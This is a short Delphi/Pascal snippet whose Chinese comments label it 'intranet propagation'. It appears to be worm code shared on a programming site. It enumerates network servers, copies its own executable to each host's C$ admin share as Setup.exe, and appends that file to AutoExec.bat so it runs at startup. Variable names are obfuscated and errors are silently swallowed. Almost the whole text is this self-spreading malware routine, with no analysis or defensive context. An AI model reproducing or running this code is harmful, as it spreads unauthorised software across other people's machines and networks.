procedure Enumeration(aResource:PNetResource); //内网传播 Enumeration(@wgokq[_fehlq])
var
qnlshmm: THandle;
kujf_n, mec: DWORD;
wgokq: array[0..1023] of TNetResource;
_fehlq: Integer;
begin
WNetOpenEnum(2,0,0,aResource,qnlshmm);
kujf_n:=1024;
mec:=SizeOf(wgokq);
while WNetEnumResource(qnlshmm,kujf_n,@wgokq,mec)=0 do
for _fehlq:=0 to kujf_n-1 do
begin
if wgokq[_fehlq].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
ww := ww + copy(LowerCase(wgokq[_fehlq].lpRemoteName),3,MAX_PATH) + #13#10;
if wgokq[_fehlq].dwUsage>0 then
Enumeration(@wgokq[_fehlq])
end;
WNetCloseEnum(qnlshmm);
end;
////////////////////////////////////////////////////////////////////////////////////////////////
Procedure Network; ////内网传播
Var
x_a : String;
ktkma : TextFile;
Begin
Enumeration(NIL);
While ww <> '' Do Begin
x_a := Copy(ww, 1, Pos(#13#10, ww)-1);
Try
CopyFile(pChar(ParamStr(0)), pChar(x_a + '\C$\Setup.exe'), False);
If FileExists(pChar(x_a + '\C$\AutoExec.bat')) Then Begin
AssignFile(ktkma, x_a + '\C$\AutoExec.bat');
Append(ktkma);
WriteLn(ktkma, 'Setup.exe');
CloseFile(ktkma);
End;
Except
;
End;
ww := Copy(ww, Pos(#13#10, ww)+2, Length(ww));
End;
End;
关键字词: